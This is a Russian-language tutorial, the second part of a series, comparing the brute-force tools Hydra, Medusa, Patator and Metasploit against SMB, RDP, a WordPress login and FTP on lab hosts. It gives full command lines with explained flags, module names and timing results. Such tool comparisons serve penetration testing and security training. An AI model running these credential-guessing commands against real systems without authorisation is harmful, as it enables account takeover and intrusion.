Brute-force. Перебор паролей от SSH до Web. Часть 2

Brute-force. Перебор паролей от SSH до Web. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

SMB.

Patator.

При использовании Patator появилось большое количество ложных срабатываний.

Hydra.

hydra -L /root/username -P /root/wordlist.txt 192.168.60.50 smb

Благодаря своим алгоритмам Hydra справилась с задачей всего за 5 секунд.

Medusa 

medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M smbnt 

Запуская перебор, я ожидал результатов, схожих с предыдущими, но на этот раз Medusa меня приятно удивила, отработав за считанные секунды.

Metasploit 

С помощью поиска search smb_login находим нужный модуль scanner/smb/smb_login и применяем его. 

Необходимо указать параметры:

 RHOSTS – IP-адрес жертвы;

 USER_FILE – словарь с пользователями;

 PASS_FILE – словарь с паролями;

 STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль. 

Metasploit справился с задачей за 1 минуту.

RDP 

Patator 

patator rdp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=132 

К сожалению, на данный момент из тестируемых инструментов только Patator может подбирать логин/пароль для RDP-протокола. При этом, даже если Patator и справился с поставленной задачей, в выводе дополнительно появилось ложное срабатывание.

WEB 

Для начала нам необходимо понять, как происходит процесс аутентификации.

Для этого нужно отправить тестовые запросы аутентификации и уже из поведения веб-приложения можно будет увидеть, что неверный пароль возвращает код ответа 200, а успешная аутентификация — 302. На эту информацию и будем опираться. 

Patator 

Учитывая ответы веб-приложения на тестовые запросы, составим команду для запуска Patator: 

patator http_fuzz url=http://site.test.lan/wp-login.php method=POST body='log=FILE0&pwd=FILE1&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1' 0=/root/username 1=/root/wordlist.txt before_urls=http://site.test.lan/wp-login.php -x ignore:code=200 accept_cookie=1 

http_fuzz – модуль для brute-force атаки HTTP;

 url – адрес страницы с аутентификацией;

 FILE0 – путь до словаря с паролями;

 body – информация, которая передается в POST запросе при аутентификацией;

 -x – в данном случае мы указали команду не выводить на экран сообщения, содержащие параметр с кодом 200;

 accept_cookie – сохранение параметра cookie и передачи его в следующий запрос;

Итог — нам удалось подобрать пароль чуть менее, чем за 30 секунд, что очень быстро.

Hydra 

Как мы уже знаем, при неверной аутентификации возвращается код 200, а при успешной — 302. Воспользуемся этой информацией и выполним команду: 

hydra -f -L /root/username -P /root/wordlist.txt http-post-form://site.test.lan -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1:S=302" 

Здесь мы указываем обязательные параметры:

 -f – завершить перебор после получения валидной пары логин/пароль;

 -L – словарь с пользователями;

 -P – словарь с паролями;

 http-post-form – тип формы (в нашем случае POST);

 /wp-login.php – URL страницы с аутентификацией;

 ^USER^ – показывает куда подставлять имя пользователя;

 ^PASS^ – показывает куда подставлять пароль из словаря;

 S=302 – указание на какой ответ опираться Hydra (в нашем случае — ответ 302 при успешной аутентификации). 

Успех ожидал нас уже через 3 минуты 15 секунд.

Medusa 

medusa -h site.test.lan -U /root/username -P /root/wordlist.txt -M web-form -m FORM:"/wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1" 

К сожалению, при попытках перебора пароля Medusa выдает ошибку «Segmentation fault».

Metasploit 

С помощью поиска search wordpress_login находим нужный модуль auxiliary/scanner/http/wordpress_login_enum и применяем его. Необходимо указать параметры:

 PASS_FILE – словарь с паролями;

 RHOSTS – адрес жертвы;

 STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль;

 USER_FILE – словарь с пользователями;

 VALIDATE_USERS – отключить проверку существования учетной записи пользователя;

 VERBOSE – отключить лишний вывод;

 VHOST – доменное имя атакуемого сайта. 

Затраченное время — 32 секунды.

FTP 

Patator 

patator ftp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=530 

В данном модуле Patator работает уже медленнее, чем с Web-формами, а пароль был подобран за 11 минут 20 секунд.

Hydra 

hydra -f -L /root/username -P /root/wordlist.txt ftp://192.168.60.50 

Работая по умолчанию в 16 потоков, Hydra смогла перебрать пароли за 7 минут 55 секунд.

Metasploit, Medusa 

В Metasploit используем модуль auxiliary/scanner/ftp/ftp_login 

В случае с Medusa запрос выглядит следующим образом:

medusa -f -M ftp -U /root/username -P /root/wordlist.txt -h 192.168.60.50 

Все параметры стандартные, указываем путь до словарей и обязательно ставим завершение перебора после найденной пары логин/пароль.

С этим протоколом, как и c SSH, Metasploit и Medusa плохо справляются при стандартном количестве потоков. Поэтому если есть желание использовать именно эти инструменты, то необходимо вручную увеличивать количество потоков. Но и тут не все так просто. В однопоточном режиме FTP-сервер при использовании этих инструментов, сбросил соединение, чего не наблюдалось при использовании Patator или Hydra. Поэтому есть вероятность, что увеличение количества потоков не изменит ситуацию. 

Заключение 

Протестировав разные, но в то же время похожие инструменты на различных сервисах, можно сказать, что у каждого из них есть как достоинства, так и недостатки, а с каким инструментом работать — решать только вам. 

Ниже представлена сводная таблица с полученными результатами:

Источник


Report Page